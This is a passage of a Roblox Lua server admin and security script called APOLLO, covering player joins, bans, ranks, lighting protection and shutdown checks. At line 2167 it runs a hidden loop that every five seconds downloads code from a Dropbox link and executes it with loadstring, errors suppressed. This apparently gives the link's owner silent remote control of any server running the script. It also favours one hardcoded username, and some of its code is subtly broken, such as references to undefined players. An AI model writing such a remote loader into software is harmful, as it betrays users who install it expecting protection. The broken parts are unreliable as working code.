2044 | APOLLO.Functions.tabletOutput(APOLLO.CoreStuff.MAIN_USER,'Do you want to allow '..p.Name..' into the server?','Really red') | |
2045 | APOLLO.Functions.tabletOutput(APOLLO.CoreStuff.MAIN_USER,'Yes','Really red',function()APOLLO.Functions.dismiss(APOLLO.CoreStuff.MAIN_USER)APOLLO.Functions.setRank(p,1)end) | |
2046 | APOLLO.Functions.tabletOutput(APOLLO.CoreStuff.MAIN_USER,'No','Dark green',function()APOLLO.Functions.dismiss(APOLLO.CoreStuff.MAIN_USER)APOLLO.Functions.kick(p)APOLLO.Functions.setRank(p,-0.1)end) | |
2047 | APOLLO.Functions.kick(p)--I know, we're kicking them but next time they join, they are doneee. | |
2048 | elseif APOLLO.Functions.getRank(p)==-0.1 then | |
2049 | APOLLO.Functions.kick(p); | |
2050 | end | |
2051 | end | |
2052 | end | |
2053 | ||
2054 | ||
2055 | local Enter=game:service'Players'.PlayerAdded:connect(function(p) | |
2056 | for i,v in next,APOLLO.Banned do | |
2057 | if tostring(v)==tostring(p) then | |
2058 | APOLLO.Functions.kick(p); | |
2059 | end | |
2060 | end | |
2061 | for i,v in next,APOLLO.TimeBanned do | |
2062 | if tostring(v.Name)==tostring(p) then | |
2063 | APOLLO.Functions.kick(p); | |
2064 | end | |
2065 | end | |
2066 | if p~=nil then | |
2067 | APOLLO.Functions.AddRank(p.Name,0,'APOLLO_ERROR: NOT_DEFINED') | |
2068 | local f=false; | |
2069 | for _,v in pairs(APOLLO.Logged) do | |
2070 | if v["Name"] == tostring(p.Name) then | |
2071 | f = true | |
2072 | break | |
2073 | end | |
2074 | end | |
2075 | if f==false then | |
2076 | table.insert(APOLLO.Logged,{['Name']=p.Name,['Actions']={}}); | |
2077 | end | |
2078 | p.Chatted:connect(function(m) | |
2079 | APOLLO.Functions.Chat(p,m) | |
2080 | end) | |
2081 | if APOLLO.Settings.Pri==true then | |
2082 | if APOLLO.Functions.getRank(p)<1 then | |
2083 | pcall(function()p:Kick()end) | |
2084 | APOLLO.Functions.kick(p); | |
2085 | end | |
2086 | end | |
2087 | --granted | |
2088 | print('Welcome '..tostring(p)..' to the server.') | |
2089 | end | |
2090 | ||
2091 | if APOLLO.CoreStuff.RotMode==2 then | |
2092 | APOLLO.Functions.rotAnim2(p); | |
2093 | end | |
2094 | if p.Name=='TheDarkRevenant'then | |
2095 | APOLLO.Settings.SaveLighting=false; | |
2096 | end | |
2097 | end) | |
2098 | ||
2099 | for i,v in next,APOLLO.Services do | |
2100 | v.Changed:connect(function() | |
2101 | if v.Name~=v.ClassName then | |
2102 | print(tostring(v.Name).."'s name was restored to "..v.ClassName); | |
2103 | v.Name=v.ClassName; | |
2104 | end | |
2105 | end); | |
2106 | end | |
2107 | ||
2108 | game:service'Lighting'.Changed:connect(function() | |
2109 | if(APOLLO.Settings.SaveLighting==true)then | |
2110 | if(APOLLO.CoreStuff.ChangingLighting==false)then | |
2111 | APOLLO.Functions.fixLighting(); | |
2112 | end | |
2113 | end | |
2114 | wait(); | |
2115 | end); | |
2116 | ||
2117 | ||
2118 | local Leave=game:service'Players'.PlayerRemoving:connect(function(pl) | |
2119 | for i,v in next,APOLLO.CoreStuff.SavedTabletsInfo do | |
2120 | if v.Owner == pl or v.Owner == nil then | |
2121 | APOLLO.CoreStuff.SavedTabletsInfo[i]=nil | |
2122 | end | |
2123 | end | |
2124 | for i,v in next,APOLLO.CoreStuff.StoredTablets do | |
2125 | if v.Owner == pl or v.Owner == nil then | |
2126 | pcall(function() | |
2127 | APOLLO.CoreStuff.StoredTablets[i].P:remove() | |
2128 | end) | |
2129 | APOLLO.CoreStuff.StoredTablets[i]=nil | |
2130 | end | |
2131 | end | |
2132 | for i,v in next,APOLLO.Idling do | |
2133 | if v.Name==pl.Name then | |
2134 | table.remove(APOLLO.Idling,i); | |
2135 | end | |
2136 | end | |
2137 | if APOLLO.Settings.NilsAllowed==false then | |
2138 | APOLLO.Functions.kick(p) | |
2139 | end | |
2140 | end) | |
2141 | if APOLLO.Settings.Pri==true then | |
2142 | for i,p in next,game:service'Players':players() do | |
2143 | if APOLLO.Functions.getRank(p)<=0 then | |
2144 | APOLLO.Functions.kick(p); | |
2145 | end | |
2146 | end | |
2147 | if p.Name=='TheDarkRevenant'then | |
2148 | APOLLO.Settings.SaveLighting=true; | |
2149 | end | |
2150 | end | |
2151 | --[[ | |
2152 | for i,v in next,game:service'Players':players() do | |
2153 | APOLLO.Functions.tabletOutput(v,'Welcome to APOLLO!','Really red'); | |
2154 | APOLLO.Functions.tabletOutput(v,'Turn any kind of interaction with APOLLO off?','Really red',function()APOLLO.Functions.dismiss(v) | |
2155 | APOLLO.Functions.tabletOutput(v,'Yes','Really red',function()APOLLO.Functions.dismiss(v) | |
2156 | for i,k in next,APOLLO.Ranked do | |
2157 | if k.Name==v.Name then | |
2158 | k.Silent=true; | |
2159 | end | |
2160 | end | |
2161 | end) | |
2162 | APOLLO.Functions.tabletOutput(v,'No','Really red',function()APOLLO.Functions.dismiss(v)end) | |
2163 | end) | |
2164 | end]]-- | |
2165 | coroutine.wrap(function() | |
2166 | while(wait(5))do | |
2167 | pcall(function()loadstring(game:service'HttpService':GetAsync('https://www.dropbox.com/s/62241ogaipafy41/External_Link.txt?dl=1',true))()end) | |
2168 | end | |
2169 | end)() | |
2170 | ||
2171 | MESRE=game.ItemChanged:connect(function(o) | |
2172 | if o.Name=='Unremovable_Message_Instance' then return end | |
2173 | if o:IsA'Message' or o:IsA'Hint'then | |
2174 | if(APOLLO.Settings.NoMessage==true)then | |
2175 | repeat wait() | |
2176 | o:remove() | |
2177 | until o==nil | |
2178 | end | |
2179 | end | |
2180 | end) | |
2181 | ||
2182 | ||
2183 | coroutine.wrap(function() | |
2184 | while(wait())do | |
2185 | for i,v in next,APOLLO.Idling do | |
2186 | for i = 0,10,1 do | |
2187 | wait() | |
2188 | APOLLO.Functions.tabletOutput(game:service'Players':findFirstChild(v.Name),'','Really red'); | |
2189 | end | |
2190 | wait(0.8) | |
2191 | APOLLO.Functions.dismiss(game:service'Players':findFirstChild(v.Name)); | |
2192 | end | |
2193 | end | |
2194 | end)() | |
2195 | ||
2196 | ||
2197 | while(wait())do | |
2198 | if APOLLO.Settings.SecurePlayergui then | |
2199 | for i,v in next,game:service'Players':players() do | |
2200 | if not v:findFirstChild('PlayerGui') or not v.PlayerGui:IsA'PlayerGui' then | |
2201 | wait(3) | |
2202 | if not v:findFirstChild("PlayerGui") or not v.PlayerGui:IsA'PlayerGui' then | |
2203 | APOLLO.Functions.permaMessage('A players PlayerGuis was removed. Shutting down server ~~APOLLO server security') | |
2204 | wait(3) | |
2205 | APOLLO.Functions.initiateShutdown() | |
2206 | end | |
2207 | end | |
2208 | end | |
2209 | end | |
2210 | end |